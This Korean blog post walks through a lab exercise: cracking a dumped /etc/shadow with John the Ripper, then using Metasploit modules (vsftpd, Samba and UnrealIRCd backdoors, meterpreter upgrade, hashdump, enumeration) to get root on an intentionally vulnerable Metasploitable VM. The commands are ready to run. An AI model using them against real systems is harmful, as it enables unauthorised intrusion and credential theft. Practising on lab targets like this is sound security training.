Linux 33. CentOS에서 침투 실습

2024. 6. 12. 17:29Linux/CentOS7

 

john the reaper

 

Kali OS에선john 명령어로 

기본적으로 사용 가능한 프로그램이지만

CentOS에선 기본으로 내장되지 않기 때문에

설치해주어야 한다!

 

직접 John C소스 파일 받아서

압축을 풀어보자

 

vi john-1.7.8/src/Makefile
------------------------------------------------------
LDFLAGS = -s -lcrypt
------------------------------------------------------
수정이후 아래 명렁어 실행


cd /root/john-1.7.8/src
make
make clean linux-x86-64

 

첫줄에 해당 문구를 추가하자

그후 make 명령어들을 실행하자

 

make 명령어는

Makefile안에

여러 가지 해야할 일들을 미리 선언하거나

그룹핑하여 이를 쉽고 편하게 실행할 수 있는 명렁어다.

 

다시 john 디렉터리에서

cd run

./unshadow /etc/passwd /etc/shadow > password.txt

run 디렉터리로 이동해 unshadow를 실행해

passwd, shadow 파일을 password.txt로 덤핑해주자!

 

 

./john --wordlist=password.lst ./password.txt

그리거 kali때와 비슷하게

기본 내장된 wordlist인 password.lst 파일을 지정해주고

덤핑파일을 크랙해보자

그러면 워드리스트와 매칭되는 패스워드들은

모두 크랙되는 걸 볼 수있다.

 

 

 

 

Metastploit

메타스플로잇을 centos에서도 실습해보자

먼저 192.168.10.128의 IP를 가진 metasploitable 서버 하나를  사전 생성해주었다.

metasploitable은 취약점이 존재하는 os를

모의해킹등의 실습을 위해 만들어둔 것이다!

 

이를 다운로드 받아서 IP로 웹 접속을 해보면

위 사진처럼 기본적인 Web 패키지들이 설치되어 있다.

 

 

Kali에서 msfconsole로 

vsftp 서버의 취약점을 공격해보자

use exploit/unix/ftp/vsftpd_234_backdoor 

set payload cmd/unix/interact 

set rhost 192.168.10.128

exploit

 

 

sessions 명령어로 쉘 권한을 획득할 수 있다.

 

 

 

리눅스도 마찬가지로 이후에 meterpreter를 사용하면 더 다양하게 공격할 수 있다.

먼저 Ctrl + z 키로 현재 세션을 백그라운드로 돌려주자

sessions

해당 명령어로 현재 세션들을 확인할 수 있다.

use post/multi/manage/shell_to_meterpreter 

set session 1

exploit

미터프리터 공격을 실시해주자

공격 후 세션을 확인해보면 2번째 세션이

미터프리터로 생성된게 보인다.

 

 

2번 세션에 접속해보면 미터프리터 공격이 가능하다!

 

하지만 리눅스는 

스크린샷이나 스크린쉐어를 할 수없다..

지금 배운 걸로는 막상 사용해볼게 몇가지 없다.

 

upload -r /root/malware.txt
upload -r /root/malware.txt /home/malware.txt

업로드 명령어로 예시로만든 파일을

공격대상자에 업로드 해보자

 

공격 대상자에서 확인해보면

malware.txt가 업로드된 걸 볼 수있다!

 

해쉬덤프도 가능하다!

run post/linux/gather/hashdump

이후 해쉬덤프 내용을 복사해 txt 파일에 붙여넣은 뒤

john으로 해쉬 크랙을 진행하자

( post/linux/gather 경로에는 정보수집 공격관련 파일이 모여있다)

john aa.txt
또는
john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt aa.txt

크랙이 순조롭게 진행된다.

 

enum 명렁어도 가능하다!

run post/linux/gather/enum_network

네트워크 정보도 수집했다!

run post/linux/gather/enum_protections

위 명령어로 보호되고있는 것들도 확인해볼 수 있다.

그런데 ufw가 활성화 된게 보이는데

 

모든 공격에 허술하게 뚫리는 것 같아서

nmap 명령어로 포트를 확인해봤다

확인해보니 모든 포트가 열려있는 상태였다..

메타플로이터블의 초기상태가 모두 개방된 상태인것 같다.

 

 

 

samba의 취약점도 공격해보자

use exploit/multi/samba/usermap_script 

set payload cmd/unix/bind_ruby

set rhost 192.168.10.128

exploit

위 명령어로 공격 대상과 공격을 실시한뒤

미터프리터로 후속공격을 해보자

back

use post/multi/manage/shell_to_meterpreter 

set session 1

exploit

위 명령어를 실행한 뒤에 root 권한이 획득됐는지 확인하자

root 권한 확인!

 

 

 

 

IRC 취약점 공격

 

IRC는 예전에 많이 사용하던 인터넷 채팅 프로토콜이다

use exploit/unix/irc/unreal_ircd_3281_backdoor 

set payload cmd/unix/bind_ruby

set rhost 192.168.10.128

exploit

비슷하게 root 권한을 획득할 수 있다.

 

이처럼 exploit/unix/ 경로의 모듈들을 살펴보면서

root 권한을 습득할 수 있는 모듈을 한번 찾아보았다.

 


splunk_xslt_authenticated_rce 
CVE-2023-46214
exploit/unix/webapp/basilic_diff_exec 
CVE-2012-3399
exploit/unix/webapp/cacti_graphimage_exec 
EDB-ID: 16881
exploit/unix/webapp/mitel_awc_exec 
EDB-ID: 15807

 

4가지만 찾아보았는데

모두 검색해보면 취약점 코드가 부여되어있는 모듈들이였다.

 

이상으로

CentOS에서 침투실습을 해보았다.

 

'Linux > CentOS7' 카테고리의 다른 글

Linux 32 . 리눅스의 암호체계  (0) 2024.06.12
Linux 31 . PXE 부팅 시스템  (0) 2024.05.14
Linux 30 . Database 한글  (0) 2024.05.13
Linux 29. Database 이중화  (0) 2024.05.10
Linux 27. XE로 웹서비스  (0) 2024.05.07